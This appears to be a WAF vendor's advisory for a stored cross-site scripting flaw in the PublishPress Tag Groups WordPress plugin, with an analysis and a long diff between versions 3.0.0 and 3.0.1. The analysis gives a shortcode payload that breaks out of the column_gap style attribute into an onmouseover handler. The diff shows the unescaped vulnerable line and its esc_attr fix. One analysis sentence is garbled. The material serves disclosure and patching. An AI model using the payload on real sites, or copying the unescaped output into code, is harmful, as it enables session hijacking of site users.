Published : November 22, 2026

CVE-2026-119180: PublishPress Tag Groups: Stylish Displays For Your Tags and Categories <= 3.0.0 Authenticated (Contributor+) Stored Cross-Site Scripting via 'column_gap' Shortcode Attribute PoC, Patch Analysis & Rule

Plugin tag-groups
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.0.0
Patched Version 3.0.1
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-119180: This is an authenticated (Contributor+) Stored Cross-Site Scripting vulnerability in the PublishPress Tag Groups plugin (versions attributes->column_gap . ‘”‘. The save-time sanitization uses wp_kses_post, which allows double quotes and does not strip shortcode attribute syntax. Thus, a payload like ‘1px;” onmouseover=”alert(1)’ bypasses wp_kses_post because it contains no HTML tags, only a double quote that breaks out of the style attribute at render time.

Exploitation requires an attacker with Contributor or higher privileges to create or edit a post containing a shortcode such as [tag_groups_alphabetical_index column_count=”2″ column_gap=”1px;” onmouseover=”alert(1)”]. When a victim (e.g., an admin) views the post, the unescaped column_gap value terminates the style attribute and injects an event handler. The injected script executes in the context of the victim’s browser, allowing session hijacking, privilege escalation, or other malicious actions. The attack vector is the WordPress post editor or any interface that accepts shortcode input.

The patch adds esc_attr() around the column_gap attribute in both vulnerable locations: in class.shortcode_alphabetical_index.php and class.shortcode_tag_list.php, the code changes from direct concatenation to ‘column-gap:’ . esc_attr($this->attributes->column_gap) . ‘”‘. This ensures that any double quotes or special characters are HTML-encoded, preventing attribute breakout. Additionally, the patch includes numerous defined(‘ABSPATH’) checks across files to prevent direct access, and minor unrelated updates.

Successful exploitation leads to Stored XSS, which can result in cookie theft, session hijacking, defacement, or redirection to malicious sites. An attacker could escalate privileges by tricking an admin into executing actions, potentially leading to full site compromise. The impact is mitigated by the requirement for contributor-level authentication, but the stored nature makes it persistent and dangerous.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/tag-groups/aliases.php
+++ b/tag-groups/aliases.php
@@ -23,6 +23,8 @@
  * Aliases for backwards compatibility and convenience
  *
  */
+defined('ABSPATH') || exit;
+
 if (!function_exists('tag_groups_cloud') && class_exists('TagGroups_Shortcode_Tabs')) {
     /**
      *
--- a/tag-groups/build/index.asset.php
+++ b/tag-groups/build/index.asset.php
@@ -9,5 +9,5 @@
 		'wp-i18n',
 		'wp-url'
 	),
-	'version' => '21438d05337645f93bb3'
+	'version' => '51f96a98ed5ed02ffd63'
 );
--- a/tag-groups/include/admin/class.admin.php
+++ b/tag-groups/include/admin/class.admin.php
@@ -8,6 +8,8 @@
  * @license   GPL-3.0+
  */

+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Admin')) {
     // phpcs:ignore PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps -- Legacy class structure
     class TagGroups_Admin
--- a/tag-groups/include/admin/class.admin_notice.php
+++ b/tag-groups/include/admin/class.admin_notice.php
@@ -19,6 +19,8 @@
 *
 */

+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Admin_Notice')) {
     // phpcs:ignore PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps -- Legacy class structure
     class TagGroups_Admin_Notice
--- a/tag-groups/include/admin/class.export.php
+++ b/tag-groups/include/admin/class.export.php
@@ -7,6 +7,8 @@
 * @license     GPL-3.0+
 */

+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Export')) {
     /**
      *
--- a/tag-groups/include/admin/class.feed.php
+++ b/tag-groups/include/admin/class.feed.php
@@ -11,6 +11,8 @@
 * Inspiration from: https://bavotasan.com/2010/display-rss-feed-with-php/
 */

+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Feed')) {
     // phpcs:ignore PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps -- Legacy class structure
     class TagGroups_Feed
--- a/tag-groups/include/admin/class.group_admin.php
+++ b/tag-groups/include/admin/class.group_admin.php
@@ -7,6 +7,8 @@
 * @license     GPL-3.0+
 */

+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Group_Admin')) {
     // phpcs:ignore PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps -- Legacy class structure
     class TagGroups_Group_Admin
--- a/tag-groups/include/admin/class.import.php
+++ b/tag-groups/include/admin/class.import.php
@@ -7,6 +7,8 @@
 * @license     GPL-3.0+
 */

+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Import')) {
 /**
    *
--- a/tag-groups/include/admin/class.process.php
+++ b/tag-groups/include/admin/class.process.php
@@ -19,6 +19,8 @@
  * @since      1.24.0
  */

+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Process')) {
 /**
    * Background workers for the progress bar
--- a/tag-groups/include/admin/class.settings.php
+++ b/tag-groups/include/admin/class.settings.php
@@ -8,6 +8,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Settings')) {
     /**
      *
--- a/tag-groups/include/admin/class.settings_ajax.php
+++ b/tag-groups/include/admin/class.settings_ajax.php
@@ -8,6 +8,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Settings_Ajax')) {
     /**
      *
--- a/tag-groups/include/admin/class.setup_wizard.php
+++ b/tag-groups/include/admin/class.setup_wizard.php
@@ -8,6 +8,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Setup_Wizard')) {
     /**
      *
--- a/tag-groups/include/admin/class.update.php
+++ b/tag-groups/include/admin/class.update.php
@@ -20,6 +20,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Update')) {
     class TagGroups_Update
     {
--- a/tag-groups/include/admin/handlers/class.cron_handlers.php
+++ b/tag-groups/include/admin/handlers/class.cron_handlers.php
@@ -9,6 +9,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Transients', false)) {
     require_once dirname(__DIR__, 2) . '/helpers/cache/class.transients.php';
 }
--- a/tag-groups/include/admin/handlers/class.group_save_handlers.php
+++ b/tag-groups/include/admin/handlers/class.group_save_handlers.php
@@ -9,6 +9,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Group_Save_Handlers')) {
 /**
    *
--- a/tag-groups/include/admin/handlers/class.term_save_handlers.php
+++ b/tag-groups/include/admin/handlers/class.term_save_handlers.php
@@ -9,6 +9,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps, WordPress.Security.NonceVerification, WordPress.Security.ValidatedSanitizedInput
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Term_Save_Handlers')) {
 /**
    *
--- a/tag-groups/include/admin/runners/class.group_tools.php
+++ b/tag-groups/include/admin/runners/class.group_tools.php
@@ -9,6 +9,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Group_Tools')) {
 /**
    *
--- a/tag-groups/include/admin/runners/class.term_meta_tools.php
+++ b/tag-groups/include/admin/runners/class.term_meta_tools.php
@@ -9,6 +9,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps, WordPress.DB.SlowDBQuery, WordPressVIPMinimum.Performance.RegexpCompare
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Transients', false)) {
     require_once dirname(__DIR__, 2) . '/helpers/cache/class.transients.php';
 }
--- a/tag-groups/include/class.loader.php
+++ b/tag-groups/include/class.loader.php
@@ -11,6 +11,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Loader')) {
     class TagGroups_Loader
     {
--- a/tag-groups/include/entities/class.group.php
+++ b/tag-groups/include/entities/class.group.php
@@ -13,6 +13,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps, WordPress.PHP.DiscouragedPHPFunctions.serialize_serialize, WordPress.DB.SlowDBQuery
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Group')) {
     class TagGroups_Group
     {
--- a/tag-groups/include/entities/class.term.php
+++ b/tag-groups/include/entities/class.term.php
@@ -11,6 +11,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Term')) {
     class TagGroups_Term
     {
--- a/tag-groups/include/helpers/cache/class.object_cache.php
+++ b/tag-groups/include/helpers/cache/class.object_cache.php
@@ -21,6 +21,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps, WordPress.PHP.DiscouragedPHPFunctions.serialize_serialize, WordPressVIPMinimum.Functions.RestrictedFunctions
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Object_Cache')) {
     class TagGroups_Object_Cache
     {
--- a/tag-groups/include/helpers/cache/class.transients.php
+++ b/tag-groups/include/helpers/cache/class.transients.php
@@ -20,6 +20,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps, WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Transients')) {
 /**
    * The main purpose of this class is to keep all cron-related information in one place.
--- a/tag-groups/include/helpers/class.activation_deactivation.php
+++ b/tag-groups/include/helpers/class.activation_deactivation.php
@@ -8,6 +8,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps, WordPressVIPMinimum.Functions.RestrictedFunctions
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Activation_Deactivation')) {
 /**
   *
--- a/tag-groups/include/helpers/class.cron.php
+++ b/tag-groups/include/helpers/class.cron.php
@@ -20,6 +20,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Cron')) {
 /**
    * The main purpose of this class is to keep all cron-related information in one place.
--- a/tag-groups/include/helpers/class.enqueue.php
+++ b/tag-groups/include/helpers/class.enqueue.php
@@ -9,6 +9,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Enqueue')) {

   /**
--- a/tag-groups/include/helpers/class.error.php
+++ b/tag-groups/include/helpers/class.error.php
@@ -9,6 +9,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps, WordPress.PHP.DevelopmentFunctions, PublishPressStandards.Debug.DisallowDebugFunctions
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Error')) {
 /**
    * Error processing
--- a/tag-groups/include/helpers/class.groups.php
+++ b/tag-groups/include/helpers/class.groups.php
@@ -13,6 +13,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Groups')) {
     class TagGroups_Groups
     {
--- a/tag-groups/include/helpers/class.gutenberg.php
+++ b/tag-groups/include/helpers/class.gutenberg.php
@@ -8,6 +8,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Gutenberg')) {
 /**
   *
--- a/tag-groups/include/helpers/class.hooks.php
+++ b/tag-groups/include/helpers/class.hooks.php
@@ -9,6 +9,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Hooks')) {
     /**
      *
--- a/tag-groups/include/helpers/class.options.php
+++ b/tag-groups/include/helpers/class.options.php
@@ -8,6 +8,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Options')) {

   /**
--- a/tag-groups/include/helpers/class.rest_api.php
+++ b/tag-groups/include/helpers/class.rest_api.php
@@ -11,6 +11,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_REST_API')) {
     /**
      *   Adds endpoints to the WordPress REST API
--- a/tag-groups/include/helpers/class.shortcode_common.php
+++ b/tag-groups/include/helpers/class.shortcode_common.php
@@ -8,6 +8,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Shortcode_Common')) {
     #[AllowDynamicProperties]
     class TagGroups_Shortcode_Common
@@ -839,6 +841,10 @@
                 }
             }

+            if (property_exists($this->attributes, 'separator')) {
+                $this->attributes->separator = esc_html($this->attributes->separator);
+            }
+

             if (property_exists($this->attributes, 'threshold') && $this->attributes->threshold) {
                 $this->final_orderby = $this->attributes->orderby;
--- a/tag-groups/include/helpers/class.shortcode_statics.php
+++ b/tag-groups/include/helpers/class.shortcode_statics.php
@@ -9,6 +9,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, Squiz.Scope.MethodScope.Missing, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Shortcode_Statics')) {
     class TagGroups_Shortcode_Statics
     {
--- a/tag-groups/include/helpers/class.taxonomy.php
+++ b/tag-groups/include/helpers/class.taxonomy.php
@@ -12,6 +12,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, Squiz.Scope.MethodScope.Missing, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Taxonomy')) {
     class TagGroups_Taxonomy
     {
--- a/tag-groups/include/helpers/class.terms.php
+++ b/tag-groups/include/helpers/class.terms.php
@@ -11,6 +11,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, Squiz.Scope.MethodScope.Missing, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Terms')) {
     class TagGroups_Terms
     {
--- a/tag-groups/include/helpers/class.utilities.php
+++ b/tag-groups/include/helpers/class.utilities.php
@@ -9,6 +9,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, Squiz.Scope.MethodScope.Missing, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Utilities')) {
 /**
      *
--- a/tag-groups/include/helpers/class.view.php
+++ b/tag-groups/include/helpers/class.view.php
@@ -9,6 +9,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, Squiz.Scope.MethodScope.Missing, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_View')) {
 /**
   * General handling of views
--- a/tag-groups/include/helpers/class.wpml.php
+++ b/tag-groups/include/helpers/class.wpml.php
@@ -18,6 +18,8 @@
  */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, Squiz.Scope.MethodScope.Missing, PSR1.Methods.CamelCapsMethodName.NotCamelCaps, Squiz.PHP.CommentedOutCode.Found, WordPress.Security.NonceVerification.Recommended
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_WPML')) {
     class TagGroups_WPML
     {
--- a/tag-groups/include/shortcodes/class.shortcode_accordion.php
+++ b/tag-groups/include/shortcodes/class.shortcode_accordion.php
@@ -8,6 +8,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, Squiz.Scope.MethodScope.Missing, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Shortcode_Accordion')) {
     class TagGroups_Shortcode_Accordion extends TagGroups_Shortcode_Common
     {
--- a/tag-groups/include/shortcodes/class.shortcode_alphabet_tabs.php
+++ b/tag-groups/include/shortcodes/class.shortcode_alphabet_tabs.php
@@ -8,6 +8,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, Squiz.Scope.MethodScope.Missing, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Shortcode_Alphabet_Tabs')) {
     class TagGroups_Shortcode_Alphabet_Tabs extends TagGroups_Shortcode_Common
     {
--- a/tag-groups/include/shortcodes/class.shortcode_alphabetical_index.php
+++ b/tag-groups/include/shortcodes/class.shortcode_alphabetical_index.php
@@ -8,6 +8,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, Squiz.Scope.MethodScope.Missing, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (! class_exists('TagGroups_Shortcode_Alphabetical_Index')) {
     class TagGroups_Shortcode_Alphabetical_Index extends TagGroups_Shortcode_Common
     {
@@ -223,7 +225,7 @@

             $div_id_output = $this->attributes->html_id ? ' id="' . TagGroups_Shortcode_Statics::sanitize_html_classes($this->attributes->html_id) . '"' : '';
             $div_class_output = $this->attributes->div_class ? ' class="' . TagGroups_Shortcode_Statics::sanitize_html_classes($this->attributes->div_class) . '"' : '';
-            $div_column_output = empty($this->attributes->column_count) ? '' : ' style="column-count:' . (int) $this->attributes->column_count . '; column-gap:' . $this->attributes->column_gap . '"' ;
+            $div_column_output = empty($this->attributes->column_count) ? '' : ' style="column-count:' . (int) $this->attributes->column_count . '; column-gap:' . esc_attr($this->attributes->column_gap) . '"' ;
             if (is_array($atts)) {
                 asort($atts);
             }
--- a/tag-groups/include/shortcodes/class.shortcode_info.php
+++ b/tag-groups/include/shortcodes/class.shortcode_info.php
@@ -8,6 +8,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, Squiz.Scope.MethodScope.Missing, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Shortcode_Info')) {
     class TagGroups_Shortcode_Info extends TagGroups_Shortcode_Common
     {
--- a/tag-groups/include/shortcodes/class.shortcode_tabs.php
+++ b/tag-groups/include/shortcodes/class.shortcode_tabs.php
@@ -8,6 +8,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, Squiz.Scope.MethodScope.Missing, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Shortcode_Tabs')) {
     class TagGroups_Shortcode_Tabs extends TagGroups_Shortcode_Common
     {
--- a/tag-groups/include/shortcodes/class.shortcode_tag_list.php
+++ b/tag-groups/include/shortcodes/class.shortcode_tag_list.php
@@ -8,6 +8,8 @@
 */

 // phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace, Squiz.Classes.ValidClassName.NotCamelCaps, Squiz.Scope.MethodScope.Missing, PSR1.Methods.CamelCapsMethodName.NotCamelCaps
+defined('ABSPATH') || exit;
+
 if (!class_exists('TagGroups_Shortcode_Tag_List')) {
     class TagGroups_Shortcode_Tag_List extends TagGroups_Shortcode_Common
     {
@@ -229,7 +231,7 @@
             }
             $div_id_output = ( $this->attributes->html_id ? ' id="' . TagGroups_Shortcode_Statics::sanitize_html_classes($this->attributes->html_id) . '"' : '' );
             $div_class_output = ( $this->attributes->div_class ? ' class="' . TagGroups_Shortcode_Statics::sanitize_html_classes($this->attributes->div_class) . '"' : '' );
-            $div_column_output = ( empty($this->attributes->column_count) ? '' : ' style="column-count:' . (int) $this->attributes->column_count . '; column-gap:' . $this->attributes->column_gap . '"' );
+            $div_column_output = ( empty($this->attributes->column_count) ? '' : ' style="column-count:' . (int) $this->attributes->column_count . '; column-gap:' . esc_attr($this->attributes->column_gap) . '"' );
             if (is_array($atts)) {
                 asort($atts);
             }
--- a/tag-groups/includes-core/TagGroupsCoreAdmin.php
+++ b/tag-groups/includes-core/TagGroupsCoreAdmin.php
@@ -1,13 +1,16 @@
 <?php

-namespace PublishPressTagGroups;
-
 /**
  * Class TagGroupsCoreAdmin
  *
  * @package PublishPressTagGroups
  */
+
+namespace PublishPressTagGroups;
+
 // phpcs:disable PSR1.Methods.CamelCapsMethodName.NotCamelCaps -- WordPress naming conventions for hook callbacks
+defined('ABSPATH') || exit;
+
 class TagGroupsCoreAdmin
 {
     public function __construct()
--- a/tag-groups/includes-core/TagGroupsReviews.php
+++ b/tag-groups/includes-core/TagGroupsReviews.php
@@ -6,9 +6,7 @@
  * @package PublishPressTagGroups
  */

-if (!defined('ABSPATH')) {
-    exit;
-}
+defined('ABSPATH') || exit;

 /**
  * Initialize the PublishPress WordPress Reviews library for PublishPress Tag Groups
--- a/tag-groups/lib/vendor/composer/installed.php
+++ b/tag-groups/lib/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => '__root__',
-        'pretty_version' => 'v3.0.0',
-        'version' => '3.0.0.0',
-        'reference' => 'f320100c4b34f4abcf9767948e1a0845813767a2',
+        'pretty_version' => 'v3.0.1',
+        'version' => '3.0.1.0',
+        'reference' => 'babd011501a3b7c7ac4eeb3df6381a89ee12a201',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,18 +11,18 @@
     ),
     'versions' => array(
         '__root__' => array(
-            'pretty_version' => 'v3.0.0',
-            'version' => '3.0.0.0',
-            'reference' => 'f320100c4b34f4abcf9767948e1a0845813767a2',
+            'pretty_version' => 'v3.0.1',
+            'version' => '3.0.1.0',
+            'reference' => 'babd011501a3b7c7ac4eeb3df6381a89ee12a201',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'publishpress/bundled-translations' => array(
-            'pretty_version' => 'v1.0.3',
-            'version' => '1.0.3.0',
-            'reference' => '95b06baed793a3a4ec44c5d932b68785302a0559',
+            'pretty_version' => 'v1.0.6',
+            'version' => '1.0.6.0',
+            'reference' => '29e91e3dddcdf63fa635d3e6fa43b0a43b0ddeb6',
             'type' => 'library',
             'install_path' => __DIR__ . '/../publishpress/bundled-translations',
             'aliases' => array(),
--- a/tag-groups/lib/vendor/publishpress/bundled-translations/core/BundledTranslations.php
+++ b/tag-groups/lib/vendor/publishpress/bundled-translations/core/BundledTranslations.php
@@ -50,7 +50,7 @@
     }

     /**
-     * Initialize the translation override.
+     * Initialize the translation override and the Hub translation notice.
      *
      * @return void
      */
@@ -62,6 +62,9 @@

         add_filter('load_translation_file', [$this, 'filterTranslationFile'], 10, 3);
         add_filter('load_script_translation_file', [$this, 'filterScriptTranslationFile'], 10, 3);
+
+        $notice = new HubTranslationNotice($this->domain, $this->languagesDir);
+        $notice->register();
     }

     /**
--- a/tag-groups/lib/vendor/publishpress/bundled-translations/core/HubTranslationNotice.php
+++ b/tag-groups/lib/vendor/publishpress/bundled-translations/core/HubTranslationNotice.php
@@ -0,0 +1,509 @@
+<?php
+
+namespace PublishPressBundledTranslations;
+
+/**
+ * Warns admins who use a shipped non-English locale to install PublishPress Hub
+ * so those translations can be updated.
+ *
+ * One notice is shown per request even when several plugins register the library.
+ * It is limited to admin screen ids the plugin lists for its own pages.
+ */
+class HubTranslationNotice
+{
+    /**
+     * Plugin page where Hub can be downloaded.
+     */
+    private const HUB_URL = 'https://publishpress.com/hub';
+
+    /**
+     * Ajax action that stores a user's dismissal.
+     */
+    private const DISMISS_ACTION = 'publishpress_bundled_translations_dismiss_hub_notice';
+
+    /**
+     * Nonce action for the dismissal request.
+     */
+    private const DISMISS_NONCE = 'publishpress_bundled_translations_dismiss_hub_notice';
+
+    /**
+     * Per-site user option set when the current user dismisses the notice.
+     */
+    private const DISMISSED_OPTION = 'pp_bundled_translations_hub_notice_dismissed';
+
+    /**
+     * Notices registered during this request, keyed by domain and languages directory.
+     *
+     * @var array<string, self>
+     */
+    private static $notices = [];
+
+    /**
+     * Whether the admin_notices callback is already attached.
+     *
+     * @var bool
+     */
+    private static $hooked = false;
+
+    /**
+     * Whether the dismissal script was already added during this request.
+     *
+     * @var bool
+     */
+    private static $dismissScriptEnqueued = false;
+
+    /**
+     * Plugin text domain used to recognise bundled translation filenames.
+     *
+     * @var string
+     */
+    private $domain;
+
+    /**
+     * Absolute path to the plugin's bundled languages directory.
+     *
+     * @var string
+     */
+    private $languagesDir;
+
+    /**
+     * Locales found in the bundled languages directory, keyed by locale.
+     *
+     * @var array<string, true>|null
+     */
+    private $providedLocales;
+
+    /**
+     * @param string $domain       Plugin text domain.
+     * @param string $languagesDir Absolute path to the bundled languages directory.
+     */
+    public function __construct(string $domain, string $languagesDir)
+    {
+        $this->domain = $domain;
+        $this->languagesDir = rtrim($languagesDir, '/\');
+        $this->providedLocales = null;
+    }
+
+    /**
+     * Register this plugin's languages directory and attach the admin notice once.
+     *
+     * @return void
+     */
+    public function register(): void
+    {
+        self::$notices[$this->domain . '|' . $this->languagesDir] = $this;
+
+        if (self::$hooked) {
+            return;
+        }
+
+        self::$hooked = true;
+        add_action('admin_notices', [self::class, 'onAdminNotices']);
+        add_action('wp_ajax_' . self::DISMISS_ACTION, [self::class, 'onDismiss']);
+    }
+
+    /**
+     * Drop registered notices and detach the admin hook.
+     *
+     * Used by tests so one case cannot leak into the next.
+     *
+     * @return void
+     */
+    public static function resetRegisteredNotices(): void
+    {
+        self::$notices = [];
+        self::$hooked = false;
+        self::$dismissScriptEnqueued = false;
+        remove_action('admin_notices', [self::class, 'onAdminNotices']);
+        remove_action('wp_ajax_' . self::DISMISS_ACTION, [self::class, 'onDismiss']);
+    }
+
+    /**
+     * Print at most one Hub notice for the registered plugins.
+     *
+     * @return void
+     */
+    public static function onAdminNotices(): void
+    {
+        if (wp_doing_ajax()) {
+            return;
+        }
+
+        foreach (self::$notices as $notice) {
+            if ($notice->shouldDisplay()) {
